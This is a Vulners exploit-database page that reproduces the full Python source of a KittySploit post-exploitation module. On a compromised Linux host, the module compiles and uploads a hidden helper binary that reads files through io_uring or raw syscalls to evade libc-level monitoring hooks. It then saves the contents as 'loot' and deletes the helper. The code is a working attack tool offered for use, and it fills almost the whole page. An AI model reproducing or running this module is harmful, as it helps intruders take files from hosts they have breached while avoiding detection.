Lucene search
+L

Linux io_uring File Read

🗓️ 20 Jul 2026 16:32:03Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 1 Views

KittySploit Linux io_uring File Read helper for reading files to bypass libc hooks.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""Read a remote Linux file via an io_uring helper (syscall fallback)."""

from __future__ import annotations

import base64
import os
import re
import subprocess
import tempfile

from kittysploit import *
from core.lib.compiler.zig_compiler import ZigCompiler
from core.utils.paths import data_dir
from lib.post.linux.system import System
from lib.post.linux.session import LinuxSessionMixin

MARK_START = "__KS_URING_START__"
MARK_END = "__KS_URING_END__"

_ARCH_MAP = {
    "x86_64": "x64",
    "amd64": "x64",
    "i386": "x86",
    "i686": "x86",
    "aarch64": "arm64",
    "arm64": "arm64",
    "armv7l": "arm",
    "armv6l": "arm",
}

# Static musl triples — gnu + -static fails with zig cc.
_MUSL_TRIPLE = {
    "x64": "x86_64-linux-musl",
    "x86": "i386-linux-musl",
    "arm64": "aarch64-linux-musl",
    "arm": "arm-linux-musleabi",
}


class Module(Post, System, LinuxSessionMixin):
    __info__ = {
        "name": "Linux io_uring File Read",
        "description": (
            "Upload a small helper that reads a remote file via io_uring "
            "(OPENAT/READV/CLOSE), falling back to raw syscalls if needed. "
            "Useful to bypass userland libc hooks that only intercept open/read/cat."
        ),
        "platform": Platform.LINUX,
        "author": ["KittySploit Team"],
        "session_type": [
            SessionType.SHELL,
            SessionType.METERPRETER,
            SessionType.SSH,
        ],
        "references": [
            "https://attack.mitre.org/techniques/T1005/",
            "https://man7.org/linux/man-pages/man2/io_uring_setup.2.html",
        ],
        "agent": {
            "risk": "passive",
            "effects": ["discovery"],
            "expected_requests": 3,
            "reversible": True,
            "approval_required": False,
            "produces": ["evidence"],
            "cost": 1.2,
            "noise": 0.3,
            "value": 1.1,
            "requires": {
                "min_endpoints": 0,
                "min_params": 0,
                "tech_hints_any": [],
                "tech_hints_all": [],
                "specializations_any": [],
                "risk_signals_any": [],
                "auth_session": False,
                "capabilities_any": ["shell"],
                "capabilities_all": [],
                "confidence_min": {},
                "confidence_min_any": {},
                "endpoint_pattern_any": [],
                "param_any": [],
                "api_surface_ready": False,
            },
            "chain": {
                "produces_capabilities": [{"capability": "file_read", "from_detail": "rpath"}],
                "consumes_capabilities": [{"capability": "shell", "from_detail": ""}],
                "option_bindings": {},
                "suggested_followups": [],
            },
        },
    }

    rpath = OptString("", "Remote file path to read", required=True)
    remote_helper = OptString(
        "/tmp/.ks_uring_read",
        "Remote path for the uploaded helper binary",
        required=False,
    )
    target_arch = OptString(
        "auto",
        "Target architecture (auto, x64, x86, arm64, arm)",
        required=False,
    )
    encode = OptBool(
        True,
        "Base64-encode payload in the helper (safer through shell sessions)",
        required=False,
    )
    force_syscall = OptBool(
        False,
        "Skip io_uring and force raw openat/read syscalls",
        required=False,
    )
    save_loot = OptBool(True, "Save file contents under ./loot", required=False)
    cleanup = OptBool(True, "Remove the remote helper after execution", required=False)
    timeout = OptInteger(
        60,
        "Command timeout in seconds (0 = default)",
        required=False,
        advanced=True,
    )

    def check(self):
        if not self.linux_require_linux():
            return False

        rpath = str(self.rpath or "").strip()
        if not rpath:
            print_error("RPATH is required")
            return False
        if not self.linux_file_exists(rpath):
            # Still allow directories / special files via test -r
            q = self.linux_shell_quote(rpath)
            readable = self.linux_execute(f"test -r {q} && echo OK || echo NO")
            if "OK" not in readable:
                print_error(f"Remote path not readable: {rpath}")
                return False

        disabled = self.linux_execute(
            "cat /proc/sys/kernel/io_uring_disabled 2>/dev/null || echo 0"
        ).strip()
        if disabled.startswith("2") and not bool(self.force_syscall):
            print_warning(
                "io_uring is fully disabled on target (io_uring_disabled=2); "
                "set FORCE_SYSCALL true or the helper will fall back to syscalls"
            )
        elif disabled.startswith("1"):
            print_status("io_uring restricted to privileged users (io_uring_disabled=1)")

        arch = self._resolve_arch()
        if not arch:
            print_error("Could not resolve target architecture")
            return False
        print_status(f"Target architecture: {arch}")
        return True

    def run(self):
        if not self.check():
            return False

        rpath = str(self.rpath).strip()
        remote_helper = str(self.remote_helper or "/tmp/.ks_uring_read").strip()
        arch = self._resolve_arch()

        c_path = data_dir() / "helpers" / "linux" / "uring_file_read.c"
        if not c_path.is_file():
            print_error(f"Helper source missing: {c_path}")
            return False
        c_source = c_path.read_text(encoding="utf-8")

        compiler = ZigCompiler()
        if not compiler.is_available():
            print_error("Zig compiler not found. Install Zig to build the helper.")
            return False

        print_status(f"Compiling io_uring file-read helper for {arch}...")
        binary = self._compile_helper(compiler, c_source, arch)
        if not binary:
            return False

        print_status(f"Uploading helper ({len(binary)} bytes) -> {remote_helper}")
        if not self.linux_upload_bytes(binary, remote_helper, executable=True):
            return False
        print_success(f"Helper ready: {remote_helper}")

        try:
            content = self._run_helper(remote_helper, rpath)
            if content is None:
                return False

            self._present(rpath, content)
            if bool(self.save_loot):
                self._save_loot(rpath, content)
            return True
        finally:
            if bool(self.cleanup):
                self.linux_delete_remote([remote_helper])

    def _resolve_arch(self) -> str:
        requested = str(self.target_arch or "auto").strip().lower()
        if requested and requested != "auto":
            return requested
        raw = (self.linux_execute("uname -m 2>/dev/null") or "").strip().lower()
        token = raw.splitlines()[-1].strip() if raw else ""
        return _ARCH_MAP.get(token, "")

    def _compile_helper(self, compiler: ZigCompiler, c_source: str, arch: str) -> bytes | None:
        triple = _MUSL_TRIPLE.get(arch)
        if not triple:
            print_error(f"Unsupported architecture for helper build: {arch}")
            return None

        with tempfile.TemporaryDirectory(prefix="ks_uring_") as tmp_dir:
            src = os.path.join(tmp_dir, "uring_file_read.c")
            out = os.path.join(tmp_dir, "uring_file_read")
            with open(src, "w", encoding="utf-8") as handle:
                handle.write(c_source)

            env = os.environ.copy()
            env.setdefault("ZIG_LOCAL_CACHE_DIR", os.path.join(tmp_dir, "zig-cache"))
            env.setdefault("ZIG_GLOBAL_CACHE_DIR", os.path.join(tmp_dir, "zig-global-cache"))

            cmd = [
                compiler.zig_path,
                "cc",
                "-target",
                triple,
                src,
                "-o",
                out,
                "-static",
                "-Os",
                "-s",
            ]
            print_info(f"Compiling for target: {triple}")
            try:
                result = subprocess.run(
                    cmd,
                    env=env,
                    capture_output=True,
                    text=True,
                    timeout=120,
                )
            except Exception as exc:
                print_error(f"Compilation error: {exc}")
                return None

            if result.returncode != 0 or not os.path.isfile(out):
                err = (result.stderr or result.stdout or "").strip()
                print_error(f"Compilation failed: {err[:2000]}")
                return None

            with open(out, "rb") as handle:
                return handle.read()

    def _run_helper(self, remote_helper: str, rpath: str):
        parts = [self.linux_shell_quote(remote_helper)]
        if bool(self.encode):
            parts.append("--base64")
        if bool(self.force_syscall):
            parts.append("--syscall")
        parts.append(self.linux_shell_quote(rpath))
        cmd = " ".join(parts)

        timeout = self.linux_int_opt(self.timeout, 60, minimum=0)
        print_status(f"Executing: {cmd}")
        output = self.linux_execute(cmd, timeout=timeout)
        if not output:
            print_error("No output from helper (timeout, crash, or empty file?)")
            return None

        payload = self._extract_payload(output)
        if payload is None:
            print_error("Could not find payload markers in helper output")
            print_info(output[:2000])
            return None

        if bool(self.encode):
            clean = re.sub(r"\s+", "", payload)
            try:
                return base64.b64decode(clean)
            except Exception as exc:
                print_error(f"Base64 decode failed: {exc}")
                return None
        return payload.encode("utf-8", errors="surrogateescape")

    @staticmethod
    def _extract_payload(output: str):
        start = output.find(MARK_START)
        end = output.find(MARK_END)
        if start < 0 or end < 0 or end <= start:
            return None
        body = output[start + len(MARK_START):end]
        # Strip framing newlines around markers only (keep file content intact).
        if body.startswith("\r\n"):
            body = body[2:]
        elif body.startswith("\n"):
            body = body[1:]
        if body.endswith("\r\n"):
            body = body[:-2]
        elif body.endswith("\n"):
            body = body[:-1]
        return body

    def _present(self, rpath: str, content: bytes) -> None:
        print_success(f"Read {len(content)} bytes from {rpath}")
        preview_limit = 4000
        try:
            text = content.decode("utf-8")
            sample = text[:200]
            if all(32 <= ord(ch) <= 126 or ch in "\t\n\r" for ch in sample):
                print_info("--- file content ---")
                print(text if len(text) <= preview_limit else text[:preview_limit])
                if len(text) > preview_limit:
                    print_warning(f"... truncated preview ({len(content)} bytes total)")
                return
        except UnicodeDecodeError:
            pass

        print_info(f"Binary/non-text content ({len(content)} bytes); preview as hex:")
        print(content[:256].hex())

    def _save_loot(self, rpath: str, content: bytes) -> None:
        host = (self.linux_execute("hostname 2>/dev/null") or "linux").strip()
        host = host.splitlines()[-1].strip() if host else "linux"
        safe_host = re.sub(r"[^a-zA-Z0-9._-]+", "_", host) or "linux"
        safe_name = re.sub(r"[^a-zA-Z0-9._-]+", "_", os.path.basename(rpath)) or "file"
        out_rel = os.path.join("loot", f"uring_read_{safe_host}_{safe_name}")
        full_path = self.output_dir_path(out_rel)

        try:
            parent = os.path.dirname(full_path)
            if parent:
                os.makedirs(parent, exist_ok=True)
            with open(full_path, "wb") as handle:
                handle.write(content)
            print_success(f"Saved loot to {full_path}")
        except Exception as exc:
            print_warning(f"Could not save loot: {exc}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Jul 2026 16:32Current
5.9Medium risk
Vulners AI Score5.9
1